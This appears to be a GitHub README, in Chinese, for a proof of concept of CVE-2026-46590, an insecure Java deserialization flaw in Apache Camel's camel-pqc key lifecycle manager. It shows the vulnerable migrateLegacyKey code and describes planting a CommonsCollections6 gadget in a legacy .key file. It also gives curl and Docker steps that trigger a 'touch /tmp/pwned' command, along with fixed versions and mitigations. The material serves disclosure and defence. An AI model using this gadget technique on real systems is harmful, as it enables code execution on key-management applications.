oscerd/CVE-2026-46590
GitHub: oscerd/CVE-2026-46590
CVE-2026-46590 复现程序,演示 Apache Camel camel-pqc 密钥生命周期管理器在迁移遗留 .key 文件时因未使用 ObjectInputFilter 而导致的不安全反序列化漏洞。
Stars: 0 | Forks: 0
# camel-pqc Key-Lifecycle 不安全反序列化复现程序 (CVE-2026-46590)
本项目演示了 Apache Camel 的 `camel-pqc` 组件中的一个**不安全反序列化**漏洞 (CWE-502),
编号为 **CVE-2026-46590**。后量子密钥生命周期管理器在持久化密钥材料和元数据时,会使用原生的 `java.io.ObjectInputStream` 读取*遗留的*(Java 序列化的)值,并且**没有使用 `ObjectInputFilter`**。
由于向预期类型的强制转换仅发生在 `readObject()` 返回*之后*,因此精心构造的对象中的任何 `readObject()` 副作用都会在类型检查之前运行。
这是**对 CVE-2026-40048 (CAMEL-23200) 修复不完整的后续漏洞**:之前的修复将
`FileBasedKeyLifecycleManager` 存储元数据的格式改为了 JSON / PKCS#8 / X.509,但并未添加 `ObjectInputFilter`,
也未覆盖 HashiCorp Vault 和 AWS Secrets Manager 的同级管理器,并且
`FileBasedKeyLifecycleManager` 自身的遗留迁移反序列化仍未被过滤。
此 PoC 针对 **`FileBasedKeyLifecycleManager`** 路径,该路径完全自包含(磁盘上的一个文件,无需外部服务)。它会植入一个由攻击者控制的遗留 `.key` 文件;随后的常规 `getKey()` 调用将通过 `ObjectInputStream.readObject()` 对其进行迁移,并执行其中嵌入的 gadget。
安全通告:https://camel.apache.org/security/CVE-2026-46590.html
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-pqc` |
| **受影响类** | `org.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager#migrateLegacyKey` (以及 `migrateLegacyMetadata`),还有 `HashicorpVault` / `AwsSecretsManager` 同级管理器 |
| **CWE** | CWE-502 (Deserialization of Untrusted Data) |
| **影响** | 当读取遗留的密钥/元数据值时,会在密钥管理应用程序中执行代码 |
| **前置条件** | 拥有对由运营方控制的密钥后端的写入权限(此处为:磁盘上的密钥目录) |
| **受影响版本** | 4.18.0 至 4.18.3 之前,4.19.0 至 4.21.0 之前(camel-pqc 密钥管理器在 4.16.0 之前不存在,因此 4.14.x 不受影响) |
| **修复版本** | 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23726 (PR [apache/camel#23912](https://github.com/apache/camel/pull/23912),反向移植 #23914) |
| **致谢** | Yu Bao (PayPal) |
## 技术细节
```
// FileBasedKeyLifecycleManager (affected 4.18.2) — getKey() falls back to migrating a legacy .key file:
public KeyPair getKey(String keyId) throws Exception {
...
Path legacyKeyFile = getLegacyKeyFile(keyId); // .key
if (Files.exists(legacyKeyFile)) {
return migrateLegacyKey(keyId);
}
...
}
private KeyPair migrateLegacyKey(String keyId) throws Exception {
Path legacyKeyFile = getLegacyKeyFile(keyId);
KeyPair keyPair;
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(legacyKeyFile)))) {
keyPair = (KeyPair) ois.readObject(); // <-- no ObjectInputFilter; cast happens AFTER readObject
}
...
}
```
修复方案 (4.18.3 / 4.21.0, CAMEL-23726) 引入了一个共享的 `KeyMetadataCodec`,它将所有三个管理器的元数据均存储为 JSON,使用允许列表 `ObjectInputFilter` 约束了剩余的遗留 `ObjectInputStream` 读取操作(`KeyPair`, `KeyMetadata`),并使 `FileBasedKeyLifecycleManager` 的格式检测变得二进制安全。
## 复现程序的工作原理
- **攻击者**:向密钥目录中写入一个遗留的 `victim-key.key` 文件 —— 这是一个原始的 Java 序列化的 CommonsCollections6 gadget。写入时它是无害的(该 gadget 仅在 `readObject()` 时触发)。
- **受害者**:执行常规的 `manager.getKey("victim-key")`。在没有 JSON 密钥文件存在的情况下,管理器将通过 `ObjectInputStream.readObject()` 迁移遗留文件,并且 gadget 会在 `(KeyPair)` 强制转换抛出 `ClassCastException` 之前运行 `touch /tmp/pwned`。
良性的 payload 是 `touch /tmp/pwned`;真实的攻击者会选择(他们想要执行的)命令。
## 仓库结构
```
CVE-2026-46590/
├── pom.xml # camel-pqc 4.18.2 + commons-collections 3.2.1 (gadget)
├── Dockerfile # runs with --add-opens java.base/java.util (needed only to BUILD the gadget)
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── Gadget.java # builds the CommonsCollections6 gadget
│ └── ExploitController.java # plants the legacy .key file, then calls getKey()
└── resources/
└── application.properties
```
## 前置条件
- Java 17+ 和 Maven 3.8+
- Docker(可选,用于容器化运行)
## 复现步骤
### 选项 A — Docker(推荐)
```
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker exec cve-2026-46590 ls -l /tmp/pwned # created by the deserialization
docker compose down
```
### 选项 B — 直接运行 jar 包
```
mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED -jar target/cve-2026-46590-pqc-file-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
ls -l /tmp/pwned
```
### 预期输出
```
marker before: false
attacker planted legacy key file: /tmp/pqc-keys-.../victim-key.key
victim called manager.getKey("victim-key") -> getKey threw ClassCastException (after the gadget already ran)
marker after (/tmp/pwned): true
>>> Unsafe-deserialization proof — retrieving a key migrated an attacker-planted legacy key
>>> file and executed code (touch /tmp/pwned): true
```
## 漏洞利用条件
1. 应用程序在受影响的版本上使用了 `FileBasedKeyLifecycleManager`(或 Vault / AWS 同级管理器)。
2. 某主体具有对密钥后端的写入权限 —— 在此场景下,即向密钥目录中放入一个文件。在该项目的安全模型下,这被视为防御性加固,而非未经验证的 RCE,因为拥有写入密钥存储的权限本身就已经意味着具备读取或替换私钥的能力。
## 推荐修复方案
升级至 **4.18.3 / 4.21.0** (CAMEL-23726)。此后,遗留的 `ObjectInputStream` 读取操作将受到允许列表 `ObjectInputFilter` 的约束,所有三个管理器的元数据都将存储为 JSON,并且格式检测将变得二进制安全。
## 缓解措施
在升级之前,请限制对密钥后端的写入访问权限,确保仅应用程序自身的身份可以写入 camel-pqc 机密(遵循最小权限原则的 Vault 策略 / `secretsmanager:PutSecretValue` IAM 权限 / 文件系统权限),并将 PQC 密钥材料放置在独立于任何低信任主体可写入数据的后端中。
## 免责声明
本复现程序仅用于**安全研究和授权测试**,针对的是**已公开披露且已修复**的漏洞。未经明确许可,请勿将其用于攻击任何系统。
标签:Go语言工具, Java反序列化, JS文件枚举, PoC, 域名枚举, 安全漏洞, 暴力破解, 漏洞复现, 请求拦截